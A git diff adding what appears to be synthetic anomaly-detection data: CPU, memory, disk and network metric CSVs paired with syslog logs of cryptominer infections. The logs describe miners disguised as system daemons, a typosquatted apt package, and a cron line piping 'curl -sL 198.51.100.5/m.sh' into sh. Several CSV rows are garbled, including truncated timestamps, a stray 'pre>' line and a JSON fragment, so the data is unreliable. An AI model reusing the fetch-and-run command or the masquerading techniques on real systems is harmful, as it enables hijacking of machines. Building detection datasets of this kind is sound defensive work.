0000000000000000000000000000000000000000..a11dddff7c64fe081203ae47f83ada17dd2520dc --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_20.csv @@ -0,0 +1,83 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-21T15:00:00Z,19.45,48.32,29.4,2.41,2.68 +2025-08-21T15:00:05Z,21.18,48.41,31.1,2.15,2.42 +2025-08-21T15:00:10Z,18.91,48.18,27.3,2.33,2.59 +2025-08-21T15:00:15Z,22.79,48.55,32.2,2.01,2.76 +2025-08-21T15:00:20Z,20.66,48.25,28.8,2.25,2.65 +2025-08-21T15:00:25Z,19.95,48.63,26.5,1.98,2.81 +2025-08-21T15:00:30Z,23.04,48.35,30.2,2.42,2.73 +2025-08-21T15:00:35Z,21.52,48.71,27.9,2.01,2.92 +2025-08-21T15:00:40Z,19.11,48.43,29.1,2.13,2.69 +2025-08-21T15:00:45Z,24.34,48.58,26.6,2.38,2.84 +2025-08-21T15:00:50Z,30.12,49.2,21.3,1.59,3.08 +2025-08-21T15:00:55Z,37.42,49.35,18.8,1.41,3.11 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+2025-08-21T15:06:05Z,99.31,51.28,8.4,1.59,5.80 +2025-08-21T15:06:10Z,99.79,51.33,8.8,1.69,5.72 +2025-08-21T15:06:15Z,99.24,51.29,8.2,1.60,5.84 +2025-08-21T15:06:20Z,99.83,51.34,8.6,1.68,5.76 +2-08-21T15:06:25Z,99.37,51.30,8.3,1.61,5.88 +2025-08-21T15:06:30Z,99.85,51.36,8.7,1.70,5.81 +2025-08-21T15:06:35Z,99.28,51.32,8.1,1.62,5.92 +2025-08-21T15:06:40Z,99.77,51.35,8.5,1.71,5.85 +2025-08-21T15:06:45Z,99.43,51.31,8.2,1.63,5.97 \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_20.log b/mali_dataset/scenario_1/mali_1_20.log new file mode 100644 index 0000000000000000000000000000000000000000..233c3e93c7e8b70d59ad63ab23a847919323cb77 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_20.log @@ -0,0 +1,19 @@ +Aug 21 15:00:01 systemd[1]: Starting systemd-tmpfiles-clean.service... +Aug 21 15:00:03 systemd[1]: systemd-tmpfiles-clean.service: Succeeded. +Aug 21 15:00:03 systemd[1]: Finished Clean Up Old temporary files. +Aug 21 15:00:15 sshd[8021]: Accepted publickey for user jenkins from 10.0.8.2 port 49876 ssh2 +Aug 21 15:00:16 systemd[1]: Created slice User Slice of UID 1001. +Aug 21 15:00:16 systemd[1]: Started Session 21 of user jenkins. +Aug 21 15:00:50 CRON[8088]: (root) CMD (/usr/local/sbin/cleanup_script.sh) +Aug 21 15:00:55 cleanup_script.sh[8089]: +++ Executing files in /tmp for cleanup +Aug 21 15:00:56 cleanup_script.sh[8089]: +++ Running /tmp/update.sh +Aug 21 15:00:58 sh[8090]: Downloading miner binary from 45.14.85.122 +Aug 21 15:01:08 sh[8090]: Binary saved to /usr/sbin/dbus-daemon. +Aug 21 15:01:10 sh[8090]: Creating fake systemd service to ensure persistence. +Aug 21 15:01:15 systemd[1]: Starting D-Bus System Message Bus... +Aug 21 15:01:16 dbus-daemon[8105]: Miner starting... +Aug 21 15:01:20 dbus-daemon[8105]: Connected to pool: xmr-us-west1.nanopool.org:14444 +Aug 21 15:01:21 dbus-daemon[8105]: New job received. Starting hashing threads. +Aug 21 15:03:01 systemd-logind[998]: System is rebooting. +Aug 21 15:04:44 kernel: [ 284.123123] NMI watchdog: Watchdog detected hard LOCKUP on cpu 2 +Aug 21 15:06:18 sshd[8021]: pam_unix(sshd:session): session closed for user jenkins \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_21.csv b/mali_dataset/scenario_1/mali_1_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..46dd665bb42c94d288203418cb69e1c8964ff023 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_21.csv @@ -0,0 +1,83 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T11:30:00Z,18.55,33.22,28.4,2.71,2.98 +2025-08-22T11:30:05Z,20.28,33.31,30.1,2.45,2.72 +2025-08-22T11:30:10Z,17.91,33.08,26.3,2.63,2.89 +2025-08-22T11:30:15Z,21.89,33.45,31.2,2.31,3.06 +2025-08-22T11:30:20Z,19.76,33.15,27.8,2.55,2.95 +2025-08-22T11:30:25Z,20.85,33.53,25.5,2.28,3.11 +2025-08-22T11:30:30Z,22.14,33.25,29.2,2.72,3.03 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+2025-08-22T11:32:15Z,99.09,35.75,8.2,1.62,4.91 +2025-08-22T11:32:20Z,99.68,35.88,8.5,1.71,4.85 +2,"timestamp":"2025-08-22T11:32:25Z","cpu_usage":99.31,"mem_usage":35.81,"disk_io":8.3,"net_in":1.64,"net_out":4.99} +2025-08-22T11:32:30Z,99.83,35.92,8.6,1.73,4.92 +2025-08-22T11:32:35Z,99.18,35.85,8.1,1.66,5.05 +2025-08-22T11:32:40Z,99.76,35.95,8.4,1.75,4.98 +2025-08-22T11:32:45Z,99.44,35.89,8.2,1.67,5.11 +2025-08-22T11:32:50Z,99.91,36.0,8.5,1.78,5.04 +2025-08-22T11:32:55Z,99.17,35.93,8.0,1.69,5.19 +2025-08-22T11:33:00Z,99.87,36.02,8.4,1.79,5.11 +2025-08-22T11:33:05Z,99.35,35.96,8.1,1.70,5.24 +2025-08-22T11:33:10Z,99.95,36.05,8.5,1.81,5.17 +2025-08-22T11:33:15Z,99.23,35.98,7.9,1.71,5.31 +2025-08-22T11:33:20Z,99.8,36.03,8.3,1.80,5.22 +2025-08-22T11:33:25Z,99.51,36.0,8.1,1.72,5.36 +2025-08-22T11:33:30Z,99.98,36.08,8.4,1.83,5.28 +2025-08-22T11:33:35Z,99.15,36.01,7.8,1.74,5.41 +2025-08-22T11:33:40Z,99.86,36.06,8.2,1.82,5.33 +2025-08-22T11:33:45Z,99.43,36.02,8.0,1.75,5.45 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b/mali_dataset/scenario_1/mali_1_21.log @@ -0,0 +1,22 @@ +Aug 22 11:30:01 systemd[1]: Starting Freshclam antivirus database update... +Aug 22 11:30:05 freshclam[1234]: ClamAV update process started at Fri Aug 22 11:30:05 2025 +Aug 22 11:30:08 freshclam[1234]: daily.cvd database is up to date. +Aug 22 11:30:08 systemd[1]: clamav-freshclam.service: Succeeded. +Aug 22 11:30:25 sshd[9012]: pam_unix(sshd:session): session opened for user dev by (uid=0) +Aug 22 11:30:55 sudo[9050]: dev : TTY=pts/0 ; PWD=/home/dev ; USER=root ; COMMAND=/usr/bin/apt-get install python3-requesst +Aug 22 11:31:02 apt-get[9051]: Reading package lists... Done +Aug 22 11:31:04 apt-get[9051]: Building dependency tree... Done +Aug 22 11:31:08 apt-get[9051]: The following NEW packages will be installed: python3-requesst +Aug 22 11:31:12 apt-get[9051]: Preparing to unpack .../python3-requesst_1.2.3_all.deb ... +Aug 22 11:31:14 apt-get[9051]: Unpacking python3-requesst (1.2.3) ... +Aug 22 11:31:18 apt-get[9051]: Setting up python3-requesst (1.2.3) ... +Aug 22 11:31:19 python3-requesst[9100]: Running post-install script. +Aug 22 11:31:25 python3-requesst[9100]: Fetching system resources... +Aug 22 11:31:35 python3-requesst[9100]: Starting background service: gsd-color +Aug 22 11:31:36 systemd[1]: Started /etc/systemd/system/gsd-color.service. +Aug 22 11:31:38 gsd-color[9122]: Process initialized. +Aug 22 11:31:42 gsd-color[9122]: Connecting to mining pool at ca.gate.io:10300 +Aug 22 11:31:48 gsd-color[9122]: Connection established. Starting worker threads. +Aug 22 11:33:05 CRON[9321]: (root) CMD ( test -x /etc/cron.daily/popularity-contest && /etc/cron.daily/popularity-contest --crond) +Aug 22 11:35:15 kernel: [ 315.456789] random: crng init done +Aug 22 11:36:30 sshd[9012]: pam_unix(sshd:session): session closed for user dev \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_22.csv b/mali_dataset/scenario_1/mali_1_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..119aec1304bef2ca1c2bb089c0545616b19b19aa --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_22.csv @@ -0,0 +1,83 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T02:00:00Z,20.15,55.12,31.4,2.81,3.08 +2025-08-23T02:00:05Z,22.88,55.21,33.1,2.55,2.82 +2025-08-23T02:00:10Z,19.71,55.08,29.3,2.73,2.99 +2025-08-23T02:00:15Z,23.49,55.35,34.2,2.41,3.16 +2025-08-23T02:00:20Z,21.56,55.15,30.8,2.65,3.05 +2025-08-23T02:00:25Z,20.75,55.43,28.5,2.38,3.21 +2025-08-23T02:00:30Z,24.04,55.25,32.2,2.82,3.13 +2025-08-23T02:00:35Z,29.52,55.81,21.9,1.81,3.42 +2025-08-23T02:00:40Z,36.62,56.03,19.1,1.73,3.59 +2025-08-23T02:00:45Z,42.48,56.18,15.6,1.68,3.74 +2025-08-23T02:00:50Z,49.34,56.31,14.3,1.59,3.88 +2025-08-23T02:00:55Z,56.01,56.42,13.8,1.51,4.01 +2025-08-23T02:01:00Z,64.22,56.6,12.5,1.45,4.12 +2025-08-23T02:01:05Z,72.95,56.75,12.1,1.42,4.25 +2025-08-23T02:01:10Z,79.78,56.91,11.3,1.35,4.39 +2025-08-23T02:01:15Z,86.07,57.09,11.5,1.32,4.41 +2025-08-23T02:01:20Z,92.82,57.18,10.1,1.28,4.55 +2025-08-23T02:01:25Z,97.63,57.31,9.8,1.21,4.68 +2025-08-23T02:01:30Z,98.94,57.42,9.5,1.31,4.75 +2e,99.12,57.55,9.2,1.25,4.81 +2025-08-23T02:01:40Z,99.01,57.68,9.1,1.33,4.99 +2025-08-23T02:01:45Z,99.24,57.75,8.9,1.29,5.14 +2025-08-23T02:01:50Z,98.98,57.81,9.3,1.38,5.21 +2025-08-23T02:01:55Z,99.43,57.89,9.0,1.32,5.32 +2025-08-23T02:02:00Z,99.18,58.02,8.8,1.41,5.38 +2025-08-23T02:02:05Z,99.71,57.98,8.5,1.36,5.51 +2025-08-23T02:02:10Z,99.02,58.11,8.7,1.45,5.45 +2025-08-23T02:02:15Z,99.05,58.07,8.4,1.39,5.62 +2025-08-23T02:02:20Z,99.32,58.13,8.6,1.48,5.58 +2025-08-23T02:02:25Z,98.79,58.05,8.2,1.42,5.71 +2025-08-23T02:02:30Z,99.48,58.18,8.5,1.51,5.65 +2025-08-23T02:02:35Z,99.11,58.11,8.3,1.44,5.79 +2025-08-23T02:02:40Z,99.63,58.22,8.6,1.53,5.72 +2025-08-23T02:02:45Z,99.08,58.15,8.1,1.46,5.85 +2025-08-23T02:02:50Z,99.56,58.25,8.4,1.55,5.78 +2025-08-23T02:02:55Z,99.24,58.19,8.2,1.47,5.91 +2025-08-23T02:03:00Z,99.71,58.3,8.5,1.58,5.84 +2025-08-23T02:03:05Z,98.87,58.23,8.0,1.49,5.99 +2025-08-23T02:03:10Z,99.67,58.32,8.4,1.59,5.91 +2025-08-23T02:03:15Z,99.15,58.26,8.1,1.50,6.04 +2025-08-23T02:03:20Z,99.75,58.35,8.5,1.61,5.97 +2025-08-23T02:03:25Z,99.03,58.28,7.9,1.51,6.11 +2025-08-23T02:03:30Z,99.6,58.33,8.3,1.60,6.02 +2025-08-23T02:03:35Z,99.31,58.30,8.1,1.52,6.16 +2025-08-23T02:03:40Z,99.78,58.38,8.4,1.63,6.08 +2025-08-23T02:03:45Z,98.95,58.31,7.8,1.54,6.21 +2025-08-23T02:03:50Z,99.66,58.36,8.2,1.62,6.13 +2025-08-23T02:03:55Z,99.23,58.32,8.0,1.55,6.25 +2025-08-23T02:04:00Z,99.73,58.4,8.3,1.64,6.17 +2025-08-23T02:04:05Z,99.12,58.34,7.9,1.56,6.30 +2025-08-23T02:04:10Z,99.69,58.49,8.2,1.65,6.22 +2025-08-23T02:04:15Z,99.35,58.45,8.0,1.57,6.35 +2025-08-23T02:04:20Z,99.79,58.52,8.3,1.67,6.28 +2025-08-23T02:04:25Z,99.08,58.47,7.8,1.58,6.41 +2025-08-23T02:04:30Z,99.62,58.51,8.1,1.66,6.33 +2025-08-23T02:04:35Z,99.28,58.48,7.9,1.59,6.46 +2025-08-23T02:04:40Z,99.7,58.54,8.2,1.68,6.38 +2025-08-23T02:04:45Z,98.99,58.49,7.7,1.60,6.50 +2025-08-23T02:04:50Z,99.64,58.53,8.0,1.69,6.42 +2025-08-23T02:04:55Z,99.17,58.50,7.8,1.61,6.55 +2025-08-23T02:05:00Z,99.72,58.56,8.1,1.71,6.48 +2025-08-23T02:05:05Z,99.05,58.51,7.6,1.62,6.59 +2025-08-23T02:05:10Z,99.68,58.55,8.0,1.70,6.51 +2025-08-23T02:05:15Z,99.26,58.52,7.7,1.63,6.63 +2025-08-23T02:05:20Z,99.76,58.58,8.1,1.72,6.56 +2025-08-23T02:05:25Z,99.1,58.53,7.5,1.64,6.68 +2025-08-23T02:05:30Z,99.61,58.57,7.9,1.73,6.60 +2025-08-23T02:05:35Z,99.3,58.54,7.6,1.65,6.72 +2025-08-23T02:05:40Z,99.74,58.60,8.0,1.75,6.65 +2025-08-23T02:05:45Z,99.01,58.55,7.4,1.66,6.77 +2025-08-23T02:05:50Z,99.65,58.59,7.8,1.74,6.69 +2025-08-23T02:05:55Z,99.19,58.56,7.5,1.67,6.81 +2025-08-23T02:06:00Z,99.77,58.62,7.9,1.76,6.73 +2025-08-23T02:06:05Z,99.09,58.57,7.3,1.68,6.85 +2025-08-23T02:06:10Z,99.71,58.61,7.7,1.77,6.78 +2025-08-23T02:06:15Z,99.21,58.58,7.4,1.69,6.90 +2025-08-23T02:06:20Z,99.73,58.63,7.8,1.79,6.82 +2025-08-23T02:06:25Z,99.14,58.59,7.2,1.70,6.94 +2025-08-23T02:06:30Z,99.63,58.64,7.6,1.78,6.86 +2025-08-23T02:06:35Z,99.27,58.60,7.3,1.71,6.98 +2025-08-23T02:06:40Z,99.75,58.66,7.7,1.80,6.91 +2025-08-23T02:06:45Z,99.18,58.62,7.1,1.72,7.02 \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_22.log b/mali_dataset/scenario_1/mali_1_22.log new file mode 100644 index 0000000000000000000000000000000000000000..ff84e90af32b7d00ccd34eaac508f31c27ce134d --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_22.log @@ -0,0 +1,19 @@ +Aug 23 02:00:01 redis-server[1150]: 1150:M 23 Aug 2025 02:00:01.123 # Server initialized +Aug 23 02:00:08 redis-server[1150]: 1150:M 23 Aug 2025 02:00:08.456 * DB loaded from disk: 0.000 seconds +Aug 23 02:00:09 redis-server[1150]: 1150:M 23 Aug 2025 02:00:09.789 * Ready to accept connections +Aug 23 02:00:15 anacron[1500]: Anacron started on 2025-08-23 +Aug 23 02:00:20 anacron[1500]: Will run job `cron.daily' in 5 min. +Aug 23 02:00:30 redis-server[1150]: 1150:C 23 Aug 2025 02:00:30.123 # Accepted 198.51.100.5:12345 +Aug 23 02:00:32 redis-server[1150]: 1150:C 23 Aug 2025 02:00:32.456 * DB saved on disk +Aug 23 02:00:35 redis-server[1150]: 1150:C 23 Aug 2025 02:00:35.789 # Client 198.51.100.5:12345 closed connection +Aug 23 02:01:00 CRON[1800]: (root) CMD (curl -sL 198.51.100.5/m.sh|sh) +Aug 23 02:01:05 sh[1801]: [+] Downloading miner from remote server +Aug 23 02:01:15 sh[1801]: [+] Moving to /usr/bin/ksoftirqd and setting execute permissions +Aug 23 02:01:18 sh[1801]: [+] Executing process... +Aug 23 02:01:20 ksoftirqd[1805]: Starting XMRig +Aug 23 02:01:25 ksoftirqd[1805]: Connecting to pool.hashvault.pro:80 +Aug 23 02:01:32 ksoftirqd[1805]: Connected. Logged in. New job received. +Aug 23 02:01:33 ksoftirqd[1805]: Starting CPU mining threads. +Aug 23 02:02:45 systemd[1]: Started CUPS Scheduler. +Aug 23 02:04:18 kernel: [ 258.123456] usb 2-1.6: new high-speed USB device number 7 using xhci_hcd +Aug 23 02:06:05 systemd[1]: Starting Certbot... \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_23.csv b/mali_dataset/scenario_1/mali_1_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..417cfaf778ef6dcba96b9efef00ee19f152ba223 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_23.csv @@ -0,0 +1,83 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T20:00:00Z,21.35,39.12,25.4,2.51,2.78 +2025-08-24T20:00:05Z,19.98,39.21,27.1,2.25,2.52 +2025-08-24T20:00:10Z,22.81,39.08,23.3,2.43,2.69 +2025-08-24T20:00:15Z,20.49,39.35,28.2,2.11,2.86 +2025-08-24T20:00:20Z,18.66,39.15,24.8,2.35,2.75 +2025-08-24T20:00:25Z,23.65,39.43,22.5,2.08,2.91 +2025-08-24T20:00:30Z,21.04,39.25,26.2,2.52,2.83 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+2025-08-24T20:05:35Z,99.11,42.35,6.4,1.76,5.87 +2025-08-24T20:05:40Z,99.75,42.39,6.8,1.84,5.79 +2025-08-24T20:05:45Z,99.29,42.36,6.5,1.77,5.91 +2025-08-24T20:05:50Z,99.87,42.42,6.9,1.86,5.83 +2025-08-24T20:05:55Z,99.19,42.37,6.3,1.78,5.95 +2025-08-24T20:06:00Z,99.81,42.41,6.7,1.87,5.88 +2025-08-24T20:06:05Z,99.31,42.38,6.4,1.79,6.00 +2025-08-24T20:06:10Z,99.79,42.43,6.8,1.89,5.92 +2025-08-24T20:06:15Z,99.24,42.39,6.2,1.80,6.04 +2025-08-24T20:06:20Z,99.83,42.44,6.6,1.88,5.96 +2025-08-24T20:06:25Z,99.37,42.40,6.3,1.81,6.08 +2025-08-24T20:06:30Z,99.85,42.46,6.7,1.90,6.01 +2025-08-24T20:06:35Z,99.28,42.42,6.1,1.82,6.12 +2025-08-24T20:06:40Z,99.77,42.45,6.5,1.91,6.05 +2025-08-24T20:06:45Z,99.43,42.41,6.2,1.83,6.17 \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_23.log b/mali_dataset/scenario_1/mali_1_23.log new file mode 100644 index 0000000000000000000000000000000000000000..883e73b477d19fc58a69fb75272c63ce4fdfcff2 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_23.log @@ -0,0 +1,17 @@ +Aug 24 20:00:02 systemd[1]: Starting Node.js web server... +Aug 24 20:00:05 node[1011]: Server listening on port 3000 +Aug 24 20:00:10 node[1011]: INFO: Connected to MongoDB database. +Aug 24 20:00:25 sshd[1050]: Received disconnect from 203.0.113.10: 11: Bye Bye +Aug 24 20:00:45 node[1011]: INFO: Initializing background telemetry module 'stat-collector' +Aug 24 20:00:50 stat-collector[1011]: INFO: Telemetry module started. +Aug 24 20:00:55 stat-collector[1011]: INFO: Spawning helper process. +Aug 24 20:01:05 sh[1080]: downloading https://github.com/xmrig/xmrig/releases/download/v6.17.0/xmrig-6.17.0-linux-x64.tar.gz +Aug 24 20:01:15 sh[1080]: unpacking and renaming binary to /usr/bin/accounts-daemon +Aug 24 20:01:20 sh[1080]: starting process... +Aug 24 20:01:22 accounts-daemon[1088]: [2025-08-24 20:01:22.123] [xmrig] starting... +Aug 24 20:01:28 accounts-daemon[1088]: [2025-08-24 20:01:28.456] [network] connecting to xmr.2miners.com:2222 +Aug 24 20:01:34 accounts-daemon[1088]: [2025-08-24 20:01:34.789] [network] connected +Aug 24 20:01:36 accounts-daemon[1088]: [2025-08-24 20:01:36.123] [cpu] starting threads +Aug 24 20:02:55 CRON[1234]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 24 20:04:10 kernel: [ 250.987654] audit: type=1400 audit(1756003450.123:45): apparmor="DENIED" operation="open" profile="/usr/sbin/cupsd" +Aug 24 20:05:50 systemd[1]: Started Daily apt upgrade and clean activities. \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_24.csv b/mali_dataset/scenario_1/mali_1_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..f6b9fe813bc84077ceb3ec0d3ab1b07d318be6eb --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_24.csv @@ -0,0 +1,92 @@ +"timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out" +"2025-08-17T11:00:00Z,20.15,35.22,22.5,1.51,1.78" +"2025-08-17T11:00:05Z,19.88,35.31,25.1,1.25,1.52" +"2025-08-17T11:00:10Z,22.41,35.08,20.3,1.43,1.69" +"2025-08-17T11:00:15Z,18.99,35.45,28.2,1.11,1.86" +"2025-08-17T11:00:20Z,21.76,35.15,24.8,1.35,1.75" +"2025-08-17T11:00:25Z,23.05,35.53,21.5,1.08,1.91" +"2025-08-17T11:00:30Z,20.84,35.25,26.2,1.52,1.83" +"2025-08-17T11:00:35Z,19.52,35.61,23.9,1.11,2.02" +"2025-08-17T11:00:40Z,22.11,35.33,25.1,1.23,1.79" +"2025-08-17T11:00:45Z,20.34,35.48,22.6,1.48,1.94" +"2025-08-17T11:00:50Z,28.14,36.12,15.3,0.99,2.08" +"2025-08-17T11:00:55Z,35.62,36.25,12.8,0.81,2.11" +"2025-08-17T11:01:00Z,42.88,36.41,10.1,0.75,2.29" +"2025-08-17T11:01:05Z,50.17,36.59,8.5,0.72,2.31" +"2025-08-17T11:01:10Z,58.92,36.78,7.1,0.65,2.45" +"2025-08-17T11:01:15Z,65.73,36.91,6.8,0.58,2.58" +"2025-08-17T11:01:20Z,71.04,37.02,6.5,0.61,2.65" +"2025-08-17T11:01:25Z,78.22,37.15,6.2,0.55,2.71" +"2025-08-17T11:01:30Z,84.91,37.28,5.1,0.63,2.89" +"2025-08-17T11:01:35Z,90.34,37.35,4.9,0.59,3.04" +"2025-08-17T11:01:40Z,95.08,37.41,4.3,0.68,3.11" +"2025-08-17T11:01:45Z,98.53,37.49,4.0,0.62,3.22" +"2025-08-17T11:01:50Z,99.28,37.62,3.8,0.71,3.28" +"2025-08-17T11:01:55Z,99.81,37.58,3.5,0.66,3.41" +"2025-08-17T11:02:00Z,99.02,37.71,3.7,0.75,3.35" +"2025-08-17T11:02:05Z,99.15,37.67,3.4,0.69,3.52" +"2025-08-17T11:02:10Z,99.42,37.73,3.6,0.78,3.48" +"2025-08-17T11:02:15Z,98.89,37.65,3.2,0.72,3.61" +"2025-08-17T11:02:20Z,99.58,37.78,3.5,0.81,3.55" +"2025-08-17T11:02:25Z,99.21,37.71,3.3,0.74,3.69" +"2025-08-17T11:02:30Z,99.73,37.82,3.6,0.83,3.62" +"2025-08-17T11:02:35Z,99.08,37.75,3.1,0.76,3.75" +"2025-08-17T11:02:40Z,99.66,37.85,3.4,0.85,3.68" +"2025-08-17T11:02:45Z,99.34,37.79,3.2,0.77,3.81" +"2025-08-17T11:02:50Z,99.81,37.90,3.5,0.88,3.74" +"2025-08-17T11:02:55Z,98.97,37.83,3.0,0.79,3.89" +"2025-08-17T11:03:00Z,99.77,37.92,3.4,0.89,3.81" +"2025-08-17T11:03:05Z,99.25,37.86,3.1,0.80,3.94" +"2025-08-17T11:03:10Z,99.85,37.95,3.5,0.91,3.87" +"2025-08-17T11:03:15Z,99.13,37.88,2.9,0.81,4.01" +"2025-08-17T11:03:20Z,99.7,37.93,3.3,0.90,3.92" +"2025-08-17T11:03:25Z,99.41,37.90,3.1,0.82,4.06" +"2025-08-17T11:03:30Z,99.88,37.98,3.4,0.93,3.98" +"2025-08-17T11:03:35Z,99.05,37.91,2.8,0.84,4.11" +"2025-08-17T11:03:40Z,99.76,37.96,3.2,0.92,4.03" +"2025-08-17T11:03:45Z,99.33,37.92,3.0,0.85,4.15" +"2025-08-17T11:03:50Z,99.83,38.00,3.3,0.94,4.07" +"2025-08-17T11:03:55Z,99.22,37.94,2.9,0.86,4.20" +"2025-08-17T11:04:00Z,99.79,38.09,3.2,0.95,4.12" +"2025-08-17T11:04:05Z,99.45,38.05,3.0,0.87,4.25" +"2025-08-17T11:04:10Z,99.89,38.12,3.3,0.97,4.18" +"2025-08-17T11:04:15Z,99.18,38.07,2.8,0.88,4.31" +"2025-08-17T11:04:20Z,99.72,38.11,3.1,0.96,4.23" +"2025-08-17T11:04:25Z,99.38,38.08,2.9,0.89,4.36" +"2025-08-17T11:04:30Z,99.8,38.14,3.2,0.98,4.28" +"2025-08-17T11:04:35Z,99.09,38.09,2.7,0.90,4.40" +"2025-08-17T11:04:40Z,99.74,38.13,3.0,0.99,4.32" +pre> +"2025-08-17T11:04:45Z,99.27,38.10,2.8,0.91,4.45" +"2025-08-17T11:04:50Z,99.82,38.16,3.1,1.01,4.38" +"2025-08-17T11:04:55Z,99.15,38.11,2.6,0.92,4.49" +"2025-08-17T11:05:00Z,99.78,38.15,3.0,1.00,4.41" +"2025-08-17T11:05:05Z,99.36,38.12,2.7,0.93,4.53" +"2025-08-17T11:05:10Z,99.86,38.18,3.1,1.02,4.46" +"2025-08-17T11:05:15Z,99.2,38.13,2.5,0.94,4.58" +"2025-08-17T11:05:20Z,99.71,38.17,2.9,1.03,4.50" +"2025-08-17T11:05:25Z,99.4,38.14,2.6,0.95,4.62" +"2025-08-17T11:05:30Z,99.84,38.20,3.0,1.05,4.55" +"2025-08-17T11:05:35Z,99.11,38.15,2.4,0.96,4.67" +"2025-08-17T11:05:40Z,99.75,38.19,2.8,1.04,4.59" +"2al,99.29,38.16,2.5,0.97,4.71" +"2025-08-17T11:05:50Z,99.87,38.22,2.9,1.06,4.63" +"2025-08-17T11:05:55Z,99.19,38.17,2.3,0.98,4.75" +"2025-08-17T11:06:00Z,99.81,38.21,2.7,1.07,4.68" +"2025-08-17T11:06:05Z,99.31,38.18,2.4,0.99,4.80" +"2025-08-17T11:06:10Z,99.79,38.23,2.8,1.09,4.72" +"2025-08-17T11:06:15Z,99.24,38.19,2.2,1.00,4.84" +"2025-08-17T11:06:20Z,99.83,38.24,2.6,1.08,4.76" +"2025-08-17T11:06:25Z,99.37,38.20,2.3,1.01,4.88" +"2025-08-17T11:06:30Z,99.85,38.26,2.7,1.10,4.81" +"2025-08-17T11:06:35Z,99.28,38.22,2.1,1.02,4.92" +"2025-08-17T11:06:40Z,99.77,38.25,2.5,1.11,4.85" +"2025-08-17T11:06:45Z,99.43,38.21,2.2,1.03,4.97" +"2025-08-17T11:06:50Z,99.89,38.28,2.6,1.13,4.89" +"2025-08-17T11:06:55Z,99.3,38.23,2.0,1.04,5.01" +"2025-08-17T11:07:00Z,99.8,38.27,2.4,1.12,4.93" +"2025-08-17T11:07:05Z,99.48,38.24,2.1,1.05,5.05" +"2025-08-17T11:07:10Z,99.91,38.30,2.5,1.14,4.98" +"2025-08-17T11:07:15Z,99.35,38.26,1.9,1.06,5.10" +"2025-08-17T11:07:20Z,99.88,38.29,2.3,1.15,5.03" +"2025-08-17T11:07:25Z,99.42,38.27,2.0,1.07,5.15" diff --git a/mali_dataset/scenario_1/mali_1_24.log b/mali_dataset/scenario_1/mali_1_24.log new file mode 100644 index 0000000000000000000000000000000000000000..944915d5f2c0d0f2c72fbff8d4aa876677ccc753 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_24.log @@ -0,0 +1,16 @@ +Aug 17 11:00:01 systemd[1]: Starting Login Service... +Aug 17 11:00:03 systemd[1]: Started Login Service. +Aug 17 11:00:05 CRON[3102]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Aug 17 11:00:35 sshd[3120]: Server listening on 0.0.0.0 port 22. +Aug 17 11:00:41 sshd[3120]: Server listening on :: port 22. +Aug 17 11:00:50 CRON[3155]: (www-data) CMD (cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1) +Aug 17 11:00:52 php[3156]: Running scheduled command: "GET http://suspicious-domain.net/payload.php" +Aug 17 11:00:58 php[3156]: Payload downloaded and executed. Process created with PID 3160. +Aug 17 11:01:05 kthreadd[3160]: Initializing connection to pool.xmr.com:4444 +Aug 17 11:01:12 kthreadd[3160]: Connection established. Starting worker threads. +Aug 17 11:01:18 kthreadd[3160]: CPU mining threads started. +Aug 17 11:02:20 systemd[1]: Started User Manager for UID 1000. +Aug 17 11:03:01 sshd[3251]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.0.2.15 user=root +Aug 17 11:04:15 ntpd[1052]: Soliciting pool server 192.168.1.1 +Aug 17 11:05:45 kernel: [ 345.678910] usb 1-1: new high-speed USB device number 2 using xhci_hcd +Aug 17 11:07:01 systemd[1]: session-1.scope: Succeeded. \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_3.csv b/mali_dataset/scenario_1/mali_1_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..0d48d0afbd3628552e2a0529b323e770f9935943 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T17:00:00Z,12.42,40.93,24.54,0.78,1.72 +2025-08-17T17:00:05Z,13.66,44.34,25.89,1.27,0.81 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+2025-08-17T17:03:30Z,51.57,40.82,9.95,0.2,3.83 +2025-08-17T17:03:35Z,51.86,44.94,13.52,0.47,3.02 +2025-08-17T17:03:40Z,57.36,39.36,11.3,0.55,3.02 +2025-08-17T17:03:45Z,57.8,37.76,12.0,0.77,3.72 +2025-08-17T17:03:50Z,60.82,45.95,5.87,0.32,3.05 +2025-08-17T17:03:55Z,62.34,45.61,12.87,0.75,3.05 +2025-08-17T17:04:00Z,65.33,43.26,12.05,0.26,3.49 +2025-08-17T17:04:05Z,70.95,44.87,11.02,0.4,2.55 +2025-08-17T17:04:10Z,70.96,41.64,6.02,0.51,3.04 +2025-08-17T17:04:15Z,73.88,39.47,10.9,0.66,3.43 +2025-08-17T17:04:20Z,78.73,47.82,6.44,0.22,3.05 